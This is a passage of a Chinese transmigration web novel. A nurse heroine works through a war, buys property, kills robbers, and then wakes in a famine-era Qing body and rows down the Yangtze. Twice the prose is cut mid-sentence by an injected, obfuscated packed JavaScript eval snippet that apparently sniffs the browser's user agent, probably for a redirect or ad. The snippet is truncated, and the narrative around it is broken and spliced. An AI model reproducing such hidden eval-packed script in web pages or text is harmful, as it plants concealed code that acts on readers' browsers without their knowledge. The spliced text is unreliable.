“这是我本周的薪水,我留下六刀早餐和晚餐,还有买些日用品。”苏茜乘电车加上步行,花费近一个小时回了趟家,庆幸家里没有嫌房租太贵而搬家,将12张钞票卷起来塞给玛丽索尔。父亲和舅舅出去工作了,一个当出纳,一个当文员,小的都去公立学校,至少把六年加三年的中等教育上完,包括女孩子,这一点玛丽索尔是绝对坚持的。 “以后我会努力挣钱,让他们至少念完高中,我还会资助他们念初级学院、也就是两年制大学,不论结婚还是工作,多受教育总是有用的。” 玛丽索尔拉住大女儿的手腕,好半天才放开。她很想说爸爸妈妈真没用,但说多了也无用,一点意义也没有。 苏茜起身走了,“太晚没车回去。” 玛丽索尔张了张嘴,想到四个女孩子睡两张床的窘迫状况——现在是三个小女孩——还是绝了让女儿住家里的说辞。大女儿已经快跟自己一样高了,再跟半大的妹妹挤一起,确实不合适。 苏茜是赶回去上班。夜班工资高,工作量略低于白班。白天她可以在全然安静的岛上睡觉。除了冬季最冷的夜在岛上可能睡到一半需要起来添火上厕所略麻烦,其他时候比租房子不知道强多少,尤其是夏季白天从不会热得睡不着。在大家都没有空调的条件下,当然睡岛上最舒服,唯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还好,我和同事们一起找渠道买的批发价。”润肤霜和面霜加起来近二十块,已经是打了折的。 “给你自己买衣服吧,你给家里的太多了。”玛丽索尔也很想说不要买了,但孩子们包括自己的皮肤去年冬天就是又干又痒,但一小瓶雪花膏那么贵还只勉强够两个人省着在脸上用一个冬天。家里也不是没有买雪花膏的钱,可现在花掉了将来年纪大了甚至有什么疾病或意外,就可能成为流浪人口。 “好了,我回去了,再见!” “再见,乌苏琳娜。”之前安静的孩子们都跑来道别。 “她肯定是去上夜班。她穿着工作服。”贝伦轻声道。她一个同学的姐姐也在医院做护士,上夜班时因为家里无法白天睡觉而去住医院的小宿舍,据说很拥挤,但白天很安静可以睡觉。 “好好念书,以后找个好工作,给你姐姐买礼物。”玛丽索尔摸摸二女儿的头顶,这孩子的个头也快跟自己一样高了。 “妈妈,我还以为你会说找个好丈夫呢。”青春期的女孩子十分敏感多疑。 “好丈夫的前提,你得很出色。而且家里没法给你大笔嫁妆,得你自己挣。”她家祖上的土地被一代代霍霍后,到父亲手里就没什么了,又碰上几十个首脑和目前台上那位统治者的折腾,别说她和弟弟的孩子们,连兄长都不剩多少——他们在意大利,有大半年没有通信了,尤其是在说了丈夫、弟弟以及大女儿的“工作”后,对面一封信大概觉得没面子也不回复。就这样吧! 苏茜倒不是回去上班的。她都是第二天休息的时候才回来——实施最低工资后,她的周薪又涨了一块。在不需要负担房租的情况下,她压根就不需要这么工作,可她是其他四个娃的榜样,回去的时候不用标准英语讲点什么,似乎说不过去。 胡安他们完全接受这个闺女是因为工作的关系而练就漂亮口音,回过头就盯着孩子们,结果他们自己一直没有好太多,除了乱七八糟的语法和单词应用错误基本没了,口音一如既往的糟糕——也因此他们的工资始终不高。要不是有苏茜给家里的钱,他们将不得不搬到便宜的区域。为此两个烟枪,或者说三个烟民因为买不起烟而被迫戒烟,苏茜送他们的烟也将用于社交,比如让房东不涨房租之类。 …… “三十床的那位还是过世了,家属把她和孩子都带回去安葬了。” “……我们尽力了。”苏茜不抽烟,但此刻很想来一支。 “这个月好像是第三例了?” “是的。”不过与早年医院产房的死亡率相比,现在的根本不算什么,不到百分之一吧大概。“对了,我下个月开始去上注册护士培训。地点你知道的,实在缺人来打个招呼。” “明白,谢谢!”免费的帮忙,这是消耗人情的。“我们得和护士长商量下。”比如休息日的兼差工资、实习科室之类,她们实在是需要能够天天大夜班且可以在凌晨独立搞定母婴所有事情的助产士。 “没事。”记得给自己点好处表示一下即可。 这个培训期就长了,足足两年半,没有寒暑假,作息与医护完全一致,没有工资还没有学历。但毕业就有资格证书,到哪都有饭吃。 “……耶大这样的名校也有护理专业,四年大学,甚至还有硕士学位课程,但他们的方向与我们不同,他们就业往往是政府部门、慈善机构、富豪家庭、学校之类,我们主要是医院诊所和家庭护理。” 与苏茜不同,大部分女孩子来这个班,是为了就业工作、嫁给医生或有实力的绅士,因此有一半人是化妆穿□□鞋的。 苏茜当然没化妆,一是现在的化妆品质量安全堪忧,二是卸妆产品不行,还因为缺乏便宜的乳化剂和基础精油单方精油而无法自制卸妆油,用面霜卸妆这种奢侈又效果不好的选项根本不在她的考虑范围内。同样问题的还有洁面皂和洗发皂,没有淘宝网的年代,原料论磅卖,这给自制自用带来极大的麻烦,所以她直接买现成的橄榄皂。 资深护士教师是过来人,根本不管学员们的小心思。只要有人手用,三年后依旧有部分学员在本院工作,她的任务就完成了。领到养老金退休是她这些年的工作动力。 苏茜不知道自己的动力在哪,不过想来在最小的表妹结婚或能养活自己之前,自己得一直当这个榜样。 她现在真的没有休息日了,因为周日得去产房顶班挣点外快——不挣这个钱会被认为她有个资助人什么的,于是她只得硬着头皮全年无休,回家的频率改为一月一次、每次坐出租车来回,塞个有七张10块面额银元券的信封就走。连买成衣的时间都没有,更不要说买礼物做衣服了。 等培训期过去,苏茜有空看看报纸的时候,发现了纳.粹著名的敬礼手势——这其实还是意国“传”开的罗马军团古老礼仪——现实里成千上万纳.粹支持者们,以及急诊室里犹.太.匪.徒和反.犹.匪.徒一起来治伤的“有趣情景”。 70.主角不是我(二) “安静!”苏茜手里的弯针针尖对着对方的眼珠子,让这玩意立刻消音。 “哈哈哈,该去死的家伙,你——”一柄手术刀在他嘴巴边闪着不怀好意的暗光,同样消音。 “要打出去打。”苏茜用英语、德语和波语各说了一遍,“现在,记得去交费,否则我直接让你们永远不需要医院。” 苏茜在手里玩了个刀花。但手里的缝合仍然快速有效。 两个打架的玩意很听话地分别去交钱,再也没有在急诊部门搞什么事情。 “我知道以后怎么对付他们了。”一位年轻护士微笑。“我会缝合好自己隔开的皮肉的。” “既然逞能,就可以省掉麻药的费用,叫痛就扇巴掌骂他们不是男人。”另一位护士迷之微笑。“我在英国的时候就是这样做的。” 几个年纪都不算轻的女护士互相交流着经验,急诊室里其他伤患连屁都不敢放。急诊室外科部,效率至上,谁管什么服务态度,有本事别来啊! “没事,过几年打仗了就送去战场,没准回来就变好了。”苏茜收拾东西。下一个。嗯?下一个呢?人呢! 忙忙忙,培训毕业后苏茜继续留在医院,这次是正经护士而不是之前的助手,可以独立操作包括输液,工资也超过25块。 似乎没多久,就是苏茜买好了看中的股票,考虑什么时候“退休”,结束这种忙得要死、累得没力气练武的生活时,战争开打。 几乎在开打的同时,医院接到通知要“动员”有经验的医护入伍。说动员也不至于,但遭受损失的医院至少表面上是大力支持的。作为移民、单身、年长、白肤的有经验护士,苏茜上了入伍名单。 她有两周交接工作、收拾行李的假期,不带薪。 “我也不喜欢犹.太.人,但我更反对纳.粹!呃,这是?”胡安盯着女儿塞给他的,木仓连木仓套,沉甸甸的。 “现在外面有些乱,拿着防身。” “……” “对了,妈妈,我打算应征去战地医院。”苏茜放下一个厚厚的信封,刻意颠倒了因果顺序。“假期多,薪水高,还很荣耀。”其实不是。她得去海外正开打的战场才有自己所说的薪水。 贝伦和玛法尔达都在念社区学院,一个刚入学,一个明年毕业,两个女孩子一年的学费就要差不多三百。从母亲和妹妹这两年都没有买新衣服,父亲和舅舅的大衣袖子都磨破了就知道,家里有些紧巴。 “你要去战场!”作为年纪仅次于苏茜的“大人”,玛法尔达是第一个跳起来的。 家里其他人也都盯着。 “战地医院在后方,有大炮保护。而且我是正式护士,不是护士助理。没什么危险,还可能有军衔。”苏茜觉得自己回来得真不是时候,居然选了周日中午,全家三大四小都在。 倒是大人们比较沉默。因为在老家的时候,苏茜差点就去民兵队了,那些姑娘的结局后来都不怎么好。尤其是,医护总是比前线大头兵安全多了。 气氛一时沉默。 “想好一点,我不会有事的,不过不要去教堂祈祷什么的,那没用。”苏茜加了句,“如果上帝有用,就不会有日.本.人了。” 更沉默。 苏茜回来呆的时间不长,就受不了家属的黏黏糊糊,以收拾行李买必需品为由走了。没多久,有商店的店员过来送了七件款式类似又都不一样的羽绒服夹克。 胡安突然觉得自己其实今天才成年。 另一边的苏茜半点不想研究家人的心态。 战场啊!她挺熟的,不管冷热武器还是哪个族群——黑肤的也经历过,就是两回都死得很快。 之前的大战是南亚,真是够呛,所以她希望这次是欧洲,还特意跟登记的军官强调了自己会多种欧洲语言的“特长”,果然被派去了欧洲陆地战场。 还是战俘营。 四百多受伤的战俘,只有一个三地跑来跑去的医生和两个护士,其中能讲英语以外语言的只有苏茜一个人。 顺便说一句,能在罗、德、意、荷、法等语言间切换的也只有她一个。 随着俘虏越来越多,她这个陆军“少尉”正式护士,只有一小半时间是让伤兵们别死掉,大半时间都被“借走”当翻译。 “……你手底下指挥多少人?别告诉我只有三个,死人加活人多少个……” 苏茜迅速地一个个过,效率高得令人发指。 “天哪,怎么对面这么多仆从国的军人。”负责的军官简直发指。 “我觉得他们就是普通人,突然被拉上战场。”所以一个个都特别配合。 “不上战场就得去集中营。”苏茜想起来一份口供,“还有为了香烟和罐头肉的,结果去了后发现仍然没有香烟和肉,直到成为俘虏后才有。” “呵……”笑死了!“这是好事不是吗?” “对,避免死更多不想死的年轻人。他们有的才16岁。”苏茜整理好文件,归整好。这批俘虏马上要交接,她不久就会随队继续前进,或者后退。 “苏茜,你不去市区逛逛?”巴黎吔,简直算是度假。 “没什么好逛的。衣服香水又不能现在用,买的东西都得自己背着,可能得背去柏林,这不是自己找麻烦吗?柏林的冬天可能比纽约更冷,我要留着力气背棉衣和靴子。” “这倒是!”算了算了,想出去花钱的大姐姐无奈地倒在行军床上。“这该死的战争!我失去了两任男朋友。” “……”苏茜无语。这位女士比自己还年长五六岁,保养得还差,化妆品都盖不住细纹,还那么恋爱脑干嘛。 “我说,你怎么也不交个军官男友啊?还是你只考虑结婚?这里有好几个单身的,年纪也不很大。”不到四十的校级军官哦,身材都不错,就是别对长相有什么挑剔。 “我在成为正式护士之前做的是助产士,每个月都有女人和孩子死掉。后来我有些受不了就参加培训课程,当执业护士后又在急诊室工作,又见到好几个将妻子活活打死还要求我们治疗的丈夫。” “……”抱歉,她是家庭看护,经历没那么“精彩”,甚至直到入伍的半年后才看见死人。 “所以我排斥婚姻,更不想生育。” “……哦!”心理问题,明白! “反正我的收入可以养活自己,等存够了养老金我就退休。”比如她买的股票,绝对能撑到自己退休。 “那你买房子了吗?” “还没有。准备回去买,不过不在纽约,那边太贵了。我可能去西海岸买。”比方说硅谷。 “……好主意。”听着老气横秋的样子,可问题是这妹子比自己小啊。一个只是洗衣服睡觉弄吃食的假期,好无聊! 苏茜不觉得无聊,更不想将钱浪费在无法存放的东西上。所以,这些年她居然能做到收支平衡,也是神奇。 另外,自己干嘛要那么卖力地工作? 她机械性的手上不停。打麻药取弹片止血缝合上药裹纱布胶带……全套流程居然控制在四十分钟,而且还是两处弹片。可能是医生忙不过来,所以正式护士上。直到伤员躺下,忙着手术的医生都没出现。 将伤员的后续护理交给护士助理,苏茜吃喝点东西上个厕所,然后继续工作。 做了十五个小时,这一波紧急治疗才告一段落。医护们快累死了,一位医生直接趴在病床上昏睡过去。 这真的是最后一波。之后只有零星的伤亡,直到“退役”,苏茜这个少尉还是救治了不少人的,尽管没拿过勋章,不过就效率而言超过在医院。 因为没有服装、餐费支出,净收入也超过医院。 仗还没最后打完,但很多人已经撤回来了。从运兵船上下来,逃离了闷热窒息的船舱,苏茜觉得又活过来了! * * * “你好,乌苏琳娜。” “你好,内斯特。” 贝伦的新婚丈夫是个看起来脾气温和的家伙,西裔第二代移民,社区大学会计学讲师。英语口音不错,反而是西语并不那么流利。 “你看上去没有受到战争影响。” “我是后方医院护士,不用锯腿骨也不需要处理腐尸。” “……听起来不错。”不可能多无害——不然干不了会计——的年轻人干巴巴地道,尽管他只比苏茜小一岁。 简单鉴定完毕,苏茜补送了份结婚礼物,一条足金项链。 阿德里安现在的身高已经超过苏茜了,他考上了大学的法律系。 “亲爱的阿德里安,别被各种思想和主义桎梏了,你的责任是为付钱的人解决问题,只要不是叫你去毁尸灭迹之类给自己惹麻烦的事,你得做各种事情才能赚到钱和养活家人。而且我真的不建议你去做刑事方面的律师,因为我不希望哪天去私人经营的监狱付费探望你。”做姐姐的,给成年的弟弟上的第一堂课,就是别以为自己在做正义的事。“……记得去练木仓和自由搏击,免得被人轻易威胁。” 恶劣的大姐用实际行动证明这个看上去人高马大的弟弟其实是只弱鸡。三招示范,最后以迅雷不及掩耳的速度将对方撂倒,让小朋友好好认识什么叫自由搏击。 “哦,乌苏琳娜……”玛丽索尔也不知道该说什么。 “妈妈,您应该庆幸这小子不去战场,否则真的很难说。”作为曾经亲手镇.压过造.反的受伤俘虏的人,苏茜表示可以说的真实故事太多、太多了。“……那一次要不是我木仓法不错,很可能受伤甚至死亡。” 刚从战场回来才三天,苏茜就不得不从结婚到养老全部管起来。这一大家子今天的事情明天做的习惯真是要命!幸好阿德里安与伊利亚娜这两个最小的稍微好些。是不是要庆幸自己去欧洲前将全部工资都邮政汇款回家,让一家没有因为舅舅失业而不得不搬去贫民窟或者辍学?此外,她要求家里三位长辈全部买商业医疗保险和“养老”股票。 还有居住问题。房租越来越贵了。苏茜算了下自己手头的资金和现“金”,果断地打算自己买房然后免费给家人住。因为她很肯定他们存的养老金是不可能付得起以后的房租的。 先,拿出“一点”“家里长辈从亚洲弄来的古老”银子去黑提纯。找了好几家首饰店尝试交换,终于折价与一家店的老板达成交易,换来一大盒无镶嵌金饰。接着拿了“古老”的金银饰物去银行和典当,换来一批现钞。 足够在好地段买几栋独栋了。 接着就是在家里租的房子附近光速买下一套不大的联排,四间卧室,“只要”三万多,大概是战前一倍半的样子,或者是父母过世后的几分之一。 “妈妈,舅妈,这房子我这些年努力的成果。你们搬过去住,不过麻烦帮我支付税款。”其他费用自理,房产税只有家里房租的零头。苏茜拉来两位没班上的女性长辈看有着基础家具和几样家电的房子。“以后小家伙们独立了,就出租一层楼,租金用来养老。” “乌苏琳娜……”舅妈拉着外甥女不放。这么大的房子,明显就是让经济窘迫的他们家一起住进来。 “我找到了一份不错的工作,待遇不比随军低多少。不过得离开纽约……你们照顾好自己,就是对我最大的照顾了。”她出钱,就别让她和妹妹或表妹一个房间了。 没有与父亲舅舅依依不舍,她上了火车。一个月,全部搞定,现在去气候温和、地价以后会飙升的西海岸。 不需要活在家人眼皮子底下的日子真是太好了! 一段段的坐票西行,期间寄个明信片回去,说自己一切平安但没有地址。苏茜到处找小型发电机、可以塞下发电机的活动板房,以及各种有意思的小店和地方特色小餐馆,心情放飞。 嗯,本来她是来砍树的,结果地广人稀的地方,劫匪也“很有意思”呢!居然一记飞刀就解决了,都没用上600块高价买来的带抑制器的手木仓——要不是认得店主,她还搞不来这把木仓。 最美妙的是劫匪还喜欢把身家都放车上。 苏茜是连车带尸.体一起带回岛上慢慢收拾的,没想到搜出来一个劫匪的全部身家,虽说有的无法变现只能自己用掉,比如高级葡萄酒做菜用有一点浪费,可大几千块的现金让她买房子更加有了底气。 车牌拆了,树堆满不会被吹到进海里的地方。苏茜两臂酸痛,恋恋不舍地重新上路。 到达西岸,搞到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……多肉植物非常节约水,尤其是芦荟具有不错的价值。”苏茜掰下一段芦荟,切开皮,将果肉切成小颗粒,盐水浸洗,放进小碗,再倒入冰镇蜂蜜柠檬红茶,加上小勺,递给来访的邻居。新来的居民每月都在增加,小城肉眼可见地在扩张,地价房价每年都在涨。安静的郊区逐渐变成喧嚣的市区。好在这个社区始终保持小房子前后院的面貌,流经的小河也没有被污染或是断流。哪怕是附近地震也没有让移居这里的意愿有所改变。 “很好吃!”两个小姑娘一口气将芦荟肉全部吃完才到。 “我记得芦荟可以做保健药品和化妆品。”她们的单亲妈妈先喝茶,再吃果肉,觉得一小碗真的太少。 “是的,芦荟有收敛伤口、润肠通便、减少炎症等效果,但不能直接将果肉贴在脸上。芦荟浸泡油倒是不错的东西。”苏茜没多讲。除了食用,她用的热制手工皂、护发素、乳霜都要用到芦荟,所以前后院种满芦荟都不够她采的。 社区要求居民注意自家庭院的绿化且不要出现诸如晒臭鞋子之类的行为,所以苏茜这种做法无可厚非。 本地降水不多,夏季夜晚凉爽,冬天温和湿润,北边的洪水、南边的干旱、东边的山火、西边的飓风,基本都影响不到,除了日夜温差大,没别的不好。 就是发展太快。 “……所以,我的委托人愿意出价八万五。请问,你的意思?” “……可以。”现在市区的一室一厅独立产权电梯公寓两万左右。“下午给本票的话,我可以现在签合同,明天就搬走。” 律师目瞪口呆之余,立刻拿出早就打印好的合同,填好日期和付款、搬家条款。 苏茜拿了授权书、合同,一条条看过后没问题,双方签字和代理签字。 中午她就拿到本票,下午去银行兑现,到账没问题,接着就跑房产中介。当晚收拾全部的东西搬到岛上,连芦荟都放在那里没管。第二天她打电话让律师来拿钥匙和房产文件,再去电话公司办理暂停业务。 再之后去税务局,以及去证券公司买入可口可乐的股票。 一个月后,她找的装修公司开始处理一万八买下的公寓的盥洗室、厨房和门窗地板。 两个月后,电话装好,全部弄好,她给玛丽索尔打了电话,告诉她新地址和电话。 …… “十一万,不能再多了。”代理人冷静地道。 “合同和本票,请一起给我。”苏茜更冷静。 她继续买入可口可乐的股票,和一些可以存放的物资。 …… “女士,我们知道这房子的买入价是十一万……” “……” 不知道运气特别好还是特别坏,苏茜买一个地产就会被收购一次,一到五层的房子全部变成了三五十层的商业楼或企业总部。 还有贵金属行情,这玩意比投资房地产还赚的多。 在参加母亲葬礼的时候,她刚买了套高层大楼里的位于三楼的公寓,大一居室,就是没啥阳光。说实话,自己的住处面积越发小了,而房子总价也越发高了。 “你们妈妈结婚后就没过过好日子。”胡安头发全白,背也有些佝偻,曾经英俊的脸满是沟壑。玛丽索尔病了半年多,后期大部分时间躺在床上,都是意外守寡的贝伦亲自照顾的。 舅舅更加伤心。意国或是西国那边的亲戚早就断了联系,他的两个女儿都不在身边,就剩一个姐姐。现在姐姐也过世了,他一个人活着其实挺没意思的。 苏茜私下塞给贝伦一个信封,里面是两千块的支票。“贝伦,帮我平时多照看爸爸和舅舅。不过你也不要辞掉工作,不然养老会出问题。”好在经济危机对家人没有严重影响。 “我知道。”贝伦没成年时就被苏茜描述的各种悲惨的老年生活洗脑,刚工作就开始买股票和商业保险,“我贷款在隔壁那后面那条街买了间公寓,新工作就在隔壁那家牙医诊所。” “那你把这钱先拿去还一部分贷款。” “……谢谢……我们家都在靠你工作支持。” “可现在需要靠你照顾老人们。我记得玛法尔达的丈夫酗酒?” “他们现在分居,玛法尔达外派去南美工作。” “……那两个孩子呢?” “两个都是男孩,孩子们的祖父母在亲自照顾。” “……” 悲伤中的家长里短结束,苏茜飞回西海岸享受阳光和房产增值,还不用受到骚.乱与干旱的困扰,还不错不是吗? 71.荒年的不慌(一) 贝类的肉不多,放得不那么烫后一口一个。十几个下肚,没有过敏、没有反胃,有些空的胃部现在总算舒服些了。海水煮鱼也好了,煮的是淡水鱼,放了些若干年前没有坏的酒,以及一把不知道变化成什么样子的绿叶菜。 很遗憾没有竹筷,将煮的水小心倒掉,洗洗手用手抓了吃。 这次饿得不严重,因为被推下船之前是吃过点心的。 吃完,记忆全部梳理回笼。 这次的“觉醒”是因为马上就要溺亡。这一大家子是荒年赚大发了的地主粮商,这次要去金陵“过好日子”。另外,她是被“小妾”推下去的。 夏末初秋,光着脚也没事。苏茜低头研究小巧的脚丫子——完整的无残疾。如果残了,她会找出来木仓弹自尽。 那个小妾的脚很小,是从小折断后残疾的脚。她的脚也是裹的,但没有折断,所以偏大。顺便说一句,不论如何“护理”,裹住的脚丫子总是有味道的,完全无法理解小脚一捏灵感自然来是啥变.态心理。 另外,这里的男子们后脑勺留着辫子,前脑门连头顶是剃光的。年代是清,还有洋人和洋务运动,除此之外的年份……记得,是奇荒啊,一个“奇”字道尽了百万人饿死的惨剧。 上一辈子刚觉醒没多久就被流弹打中身亡,让人无比唏嘘又恼火。那是文明现代啊!虽然木仓弹到处飞,半自动随便买,但有卫生棉好不好!难得的好开局,却没有后续。 而现在,也没好到哪里去。 饥荒年代还吃出来一身赘肉,可见原身家庭很好,但年纪不大就有两层游泳圈不是好现象,哦,还有黑黑的脸蛋,形象怪倒胃口的,难怪不到十四周岁的小妾能那么嚣张地跟正经少奶奶杠上。 不知道那一家子有没有打算打捞,但与自己无关了。 吃饱,开始干活。搁浅的木船和铁船都能用,就是渔具不行了。她先去赶海礁石区,终于觅到两条小鱼,再带了船回现实的江面上,慢慢划了南岸,一路找渔村或集镇。自己在哪都不知道,这个得先搞清楚,然后想想后续。 最重要的是,自己要去哪。 去哪好呢? 亚洲其他地方还不如华国。可七老八十的时候碰上抗战,这是要多坑! 北美?排华法案。 英格兰?配给制。 欧洲?大流感和两次大战。 现在的南半球就算了,比北美还排斥黄种人。 倒是有个地方,始终号称中立的瑞国。可以相对平安终老。就是吧,同样是配给制和高物价,但空气好、外国人多,混迹其中可能稍微好点? 苏茜思考了半小时就决定目的地。但,她不想走过去。 苏伊士运河什么时候通航来着?现在应该有了吧?即使没有,走好望角也就是……呃,从港城过去三四个月? 那么自己要去哪里?直接几千里去港城?还是去海城搭船过去?或是有直接去伦敦或马赛的船,经法兰西走陆路过去?最多一年,是吧? 这个身体夜视很差,尽管疯狂吃各种蔬菜,但夜间走路的状况很不好。可能得在白天顺江而下,一直到浦江。 但现在得先弄吃穿。 还有,凭借意志力解决稍微有些上瘾的大烟瘾! 苏茜压下焦躁渴.求的情绪。好在瘾头不严重,不然也不会胖乎乎的,就是便秘挺麻烦。又没有药物工具的,最后只能用受一点点伤的法子解决,就是先得找出来布料裁剪缝制简易内.裤。 …… 身上的衣服本来不错,就是落水后起来漂洗得潦草,还没彻底干透,皱巴巴的很凄惨。加上一双没干的“绣”鞋,要不是没有新的,她早扔了。这样说好不好、说不好也没差到哪的衣服,以及不熟练的发型,被夫家不好好对待的小媳妇形象丰满起来,就是身材拖后腿。 走三四公里才是县城。这个身体不太行,这点路就双腿如灌铅,素质差得简直像个残疾小脚。 “……一大家子呢!”苏茜皮笑肉不笑地讨价还价,大半天终于买齐了大米面粉蔬菜水果鸡鸭猪肉各色调料,期间回岛两次放东西,再吃了两块红糖米糕,一碗鱼丸汤面,还外带了三个素包子,以及针线布料,大包小包地离开。 南方就是这点好,女子识字挣钱和当家做主的多,她一个镇上小媳妇出门采买,还带隔壁省口音的本地方言,大家都理所当然以为是外地嫁进来的。苏茜从当地方言判断是在赣省,及时调整口音,虽说发音不太准、调门还是在的,所以很容易不引起注意。 晚饭是蒸素包子。吃完继续缝制内衣小裤的,还有清洗水煮消毒,嗯,煮小裤的锅以后就专门煮这个吧,因为受伤而出现瘘的情况会持续一阵子。 点着蜡烛,苏茜继续通过修炼和冥想克制自己对大烟的瘾头,然后睡觉。 石屋清洁擦洗又烧了火塘壁炉烘干,垫着盖着的都是上辈子觉醒后立即“弄”来的工业品,就是缺乏卫生用品。 天气还热着。现在点的蜡烛还是大概五六十年前的,好在是玻璃杯装的自制烛,不然肯定完了。塞满燃料山洞的木头跟煤上辈子只是用掉一点,干燥了就能用,不过她先将放了百年以上的木头都用掉,所以做饭菜以传统烤炉为主——火候时间、容器和放水多少都是学问呢,没有足够经验的话,一般人做不来。 第二天,还是这身衣服,继续去城里,买成衣草纸蜡烛油灯黄酒的。洗银水早就彻底报废,用砂布打磨掉氧化的表面,她还是有很多、很多的银可以用。 就是这个年代让人很不适应。 没有缝纫机的年代做衣服是件麻烦事。大袖的女装女鞋都有,就是款式……算了,大家都一样难看,尤其是自己属于大脚范畴,根本不需要讲究衣着,反正是平民就对了。 苏茜不是不想穿男装,而是不想剃那个发型!何况她现在的身材,穿男装是个笑话。她自己只要做老式内衣以及欧式服装,还是带修女风格的,不然一个大袖绣鞋的汉女独自上船去伦敦是件不可思议的事。 所以上船之前还是去下海城的教堂,了解情况。唯一让人庆幸的是现在的“旗袍”可不是随便可以穿的,更不是改良旗袍,非常不讲究身材,最是适合游泳圈! 锻炼锻炼,一定要将皮下脂肪和内脏脂肪的比例降到最低!站桩站不了三分钟,俯卧撑一个都做不了,仰卧起坐十个就爬不起来,不穿夹衣就感冒……这体质身材!岛上初秋如果不穿薄棉衣就要点壁炉! “这斗篷,拿两件!”苏茜边打喷嚏边“点”了一堆御寒衣物,引来光顾的第三家成衣店的女掌柜侧目。但生意归生意,人家态度非常殷勤地,指点了药铺的方向。 “奶奶有些着凉。”老大夫一搭脉就知道,再认真诊却也诊不出什么不好的。这个年纪如果有不好,那也活不了多久了。“不过还是要少吃油腻。” “多谢。” 大夫直接让伙计抓药,没将药方给客人。苏茜也没要。不过她按照记忆里的药方,加购了一堆日常用得到的药材,最后又是大包小包地消失在街巷里,那身药味并没有引起注意。 吸引居民注意力的是本地粥厂越来越多的饥民。 苏茜采买了两天就果断遁了。她的一身膘在营养不良与大烟、疾病造成的消瘦中太过惹眼,必须赶紧修炼冥想和增肌减脂,不然天冷了没法子继续划船。 太.平.天.国已经过去,义和拳还没大打出手,人们正抽大烟抽得起劲,江水上盗匪很少见,江面上甚至还有轮船穿梭——蒸汽铁船。苏茜基本确定苏伊士运河这时已经开通了。 说是顺流而下,但不划船也不知道漂流多久。中上游水急,中下游水宽。庆幸的是现在不是一百多年后,来往船只并不多,划一叶小舟不会像滑板车上高速公路那么危险,更没翻船的风险。 就是会被扔东西取乐。一包什么垃圾掉到船边水里。苏茜可以听见不远处大船上的嬉笑声。木船罢了,拽什么?!她眯起眼,在夕阳余光中记住那艘船的样子,然后继续划船。 月亮都要东落了,江面上水汽大,寒气重。要不是远远看到南岸一个码头上停了一批船只,她早就回岛休息了。找地方,收船,上岸。一路找过去,还真找到那艘手贱的船。 没人——这艘船上没人在外面就行了。她在对方甲板上扔了一堆厨余垃圾,然后上岸。先睡会,下午再去码头上采买。 江边的小小镇子,有着颇整齐的石板路和沿街小店。下午没有新鲜肉类,苏茜只买了鞋子和两卷适合做欧式长裙的便宜绸布料,第二天大早去买了一堆蔬菜水果和肉类回岛——别人还当是客船的船娘来买食物。 正午,没有水汽雾气,略弯分叉的河道十分清晰。浑浊的江水在规律的划水声中显出几分静谧。江面上船只不算多,多是坐在甲板上的短途客船,与船队形式的长途货船。吃水比单人小舟深得多,自然在中间的航道上。苏茜的小船更靠近岸边,时不时下个网碰碰运气——这种形式的捕鱼两天才有一两条大些的鱼,但这样的鱼味道相当好,腥气少、肉质鲜,除了鱼刺太多,水煮清蒸红烧烤制都好吃。 江上岛上都开始下雨了。苏茜看看没人,靠边,回岛。炉子预热好了,不到一斤的淡水鱼清理后加调味单独蒸,蔬菜馅饼则是放进炉子里,将炉膛里的两只水壶拿出来。 一只水壶打开,放绿茶。另一壶水用来加在洗衣服的冷水里,洗完八分袖外衣,喝茶,端下蒸鱼的锅,换大锅烧水。 那边馅饼也好了。继续加热水。 苏茜从不用猪油做菜,“传统”花生油一般也不会用,但乐意尝试各种其他植物油。这款芝麻油是本地一户人家在家自制的,粗糙但香浓,与橄榄油——这个身体还没吃过橄榄油——是完全不同的口感,跟蒸鱼尤其搭配。 她将鱼一口气全吃掉,再来啃不烫嘴的馅饼。 收拾烫碗去油,壁炉和低于地板的火塘里加木头烧火,在水泥挡着的半“浴室”浴桶里加冷水,将两大锅热水都拿进来。 开始洗头洗澡。洗头用的是买现成的皂角,去油去污强,不利养护头发皮肤,所以并非每次洗都用皂,只有脏油得不行了再用。 这几个月的练武、修炼、冥想和划船,以及饮食调节,游泳圈基本没了,取而代之的是不连续的肌肉。尤其是肱二头肌有点意思了,小腿明显紧致,可惜腹肌至今看不见。 最重要的是大烟瘾彻底控制住了。 现在欧洲还用束身衣吗?苏茜有些不确定地回想,应该仍然在用,要到下个世纪才被放弃。所以她得“练”出细腰。 至于武力值,只能说有时不全是力量的问题,还有灵魂深处自带的战斗之魂会起重要作用。 一刀割断扑来的人的部分喉咙,再飞刀出去砍在同伙背上。最后补两刀,连船带尸.体移回岛上处理掉。 大部分劫匪身上没有财物,少数倒是会带着“有用”的东西,有的是贵重物品,有的是大烟。 苏茜一闻就知道,连盒子带人一起扔掉。 无尸.体,无案件。 她连夜划船,断断续续休息,直到凌晨累得实在划不动才结束。 船已经过了徽省。 路程过半,天气快要到最冷的季节了。苏茜戴着里面衬着两层棉布的帽子,午后站在船尾摇桨前行。桨是双桨,或者说这是摇着桨前行。早期的小船是她自己的,后来买到这条船,摇起来比划起来方便且快,就是稳定性略差。需要在船头放块石头平衡重心。前后两钟船实际上都不适合在宽阔、有不固定水下旋涡的江中行驶,且速度比其他船包括渔船都要慢很多。但正常的江船太大,她一个人根本无法控制。 即使这样的慢速,经过金陵的时候也没到过年。苏茜没去城里,一来没有身份证明,二来那个城市真没什么可以逛的。该买的普通丝绸,以及各类日用品和生活物资在小地方反而便宜些,除了质次没啥不好,买空小店库存还能得到一大堆添头。高级的东西完全没必要囤。其他布料首饰,除了个别造型雅致的耳坠之类,没必要买。 再过去,苏茜开始夜间行船。一是白天人和船太多,一个人比较惹眼;二是吃了大量蔬菜水果与自家产海鲜,夜盲症有明显改善,不会睁着眼看不清。 所幸这一路没有翻船,特别是春节时 